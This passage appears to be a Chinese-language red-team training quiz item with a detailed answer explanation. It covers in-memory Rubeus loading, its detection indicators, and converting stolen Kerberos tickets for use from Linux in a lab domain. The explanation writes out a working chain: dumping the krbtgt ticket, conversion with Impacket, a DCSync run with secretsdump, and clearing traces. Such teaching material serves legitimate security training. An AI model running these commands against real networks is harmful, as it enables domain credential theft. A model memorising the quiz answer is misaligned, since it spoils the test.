- Known offensive tool signature (Rubeus) in memory
- Abnormal Kerberos ticket operations
繞過建議(但不保證成功):
Assembly.Load()
防禦者視角:
偵測指標:
✓ PowerShell 使用 Reflection.Assembly
✓ 從網路下載二進位資料
✓ 記憶體中出現 PE 檔案結構
✓ 異常的 Kerberos API 呼叫
✓ 未簽名的組件載入
總結:
記憶體載入是提高攻擊成功率的技術,但不是銀彈。現代防禦需要多層策略,而攻擊者也需要結合多種技術才能提高成功率。真實的紅隊演練中,需要根據目標環境的防禦強度選擇適當的技術組合。
在攻擊的最後階段,我們需要將從 Windows 提取的 Kerberos 票證轉換為 Linux 可用的格式。關於票證轉換的流程,以下敘述何者正確?
A) Rubeus 提取的票證是 .ccache
格式,可以直接在 Linux 上使用
B) 轉換流程是:Base64 → .kirbi
→ .ccache
,然後設定 KRB5CCNAME
環境變數
C) 使用 klist
指令可以驗證票證是否正確載入,但不會顯示票證的有效期限
D) 在執行 DCSync 時必須使用 -hashes
參數提供 NTLM 雜湊才能成功
正確答案:B
詳細解析:
票證轉換與使用的完整流程:
票證格式說明:
格式 | 環境 | 工具 | 用途 |
---|---|---|---|
Base64 | 通用 | Rubeus 輸出 | 文字傳輸 |
.kirbi | Windows | Mimikatz, Rubeus | Windows Kerberos |
.ccache | Linux | Impacket, kinit | Linux Kerberos |
為何 B 正確(完整轉換流程):
步驟 1:Rubeus 提取 Base64 格式
[Rubeus.Program]::Main(@("dump", "/service:krbtgt", "/nowrap"))
輸出:
Base64EncodedTicket: doIFrzCCBaugAwIBBaEDA...(很長的字串)
步驟 2:Base64 → .kirbi
# 將 Base64 儲存到檔案
cat > kingslanding.b64 << 'EOF'
doIFrzCCBaugAwIBBaEDA...
EOF
# 解碼為二進位格式
cat kingslanding.b64 | base64 -d > kingslanding.kirbi
步驟 3:.kirbi → .ccache
# 使用 Impacket 的 ticketConverter
ticketConverter.py kingslanding.kirbi kingslanding.ccache
步驟 4:設定環境變數
export KRB5CCNAME=kingslanding.ccache
步驟 5:驗證載入
klist
輸出:
Ticket cache: FILE:kingslanding.ccache
Default principal: KINGSLANDING$@SEVENKINGDOMS.LOCAL
Valid starting Expires Service principal
10/01/2025 06:55:13 10/01/2025 16:55:13 krbtgt/SEVENKINGDOMS.LOCAL@...
renew until 10/08/2025 06:55:13
為何其他選項錯誤:
A 錯誤:
.kirbi
是 Windows 格式,Linux 無法直接使用.ccache
格式C 錯誤:
klist
會顯示有效期限
Valid starting
: 票證開始時間Expires
: 過期時間renew until
: 可更新的最長時間D 錯誤:
-k -no-pass
參數secretsdump.py -k -no-pass \
SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING.SEVENKINGDOMS.LOCAL
-k
: 使用 Kerberos 認證-no-pass
: 不需要密碼(因為使用票證)常見錯誤與解決方法:
錯誤 1:KRB5CCNAME 未設定
# 錯誤訊息
[-] Kerberos SessionError: KRB_AP_ERR_TKT_EXPIRED
# 解決方法
export KRB5CCNAME=/完整路徑/kingslanding.ccache
錯誤 2:Base64 格式錯誤
# 確保移除所有空白和換行
cat kingslanding.b64 | tr -d ' \n' | base64 -d > kingslanding.kirbi
錯誤 3:時間同步問題
# Kerberos 對時間非常敏感(預設允許 5 分鐘誤差)
sudo ntpdate -s sevenkingdoms.local
# 或使用 rdate
sudo rdate -n kingslanding.sevenkingdoms.local
錯誤 4:票證已過期
# 檢查票證有效期
klist
# 如果過期,需要重新捕獲
# TGT 通常有效期為 10 小時
票證使用的最佳實踐:
# 1. 確認票證內容
klist
# 2. 測試票證可用性
impacket-smbclient -k -no-pass \
KINGSLANDING.SEVENKINGDOMS.LOCAL
# 3. 執行主要攻擊
secretsdump.py -k -no-pass \
-just-dc-user Administrator \
SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING
# 4. 清除票證(清理痕跡)
unset KRB5CCNAME
kdestroy
進階技巧:票證更新:
如果票證接近過期但還在 renew until 時間內:
# 使用 kinit 更新票證
kinit -R
# 或使用 Impacket
impacket-ticketer -nthash <hash> -domain-sid <SID> ...
實戰提醒: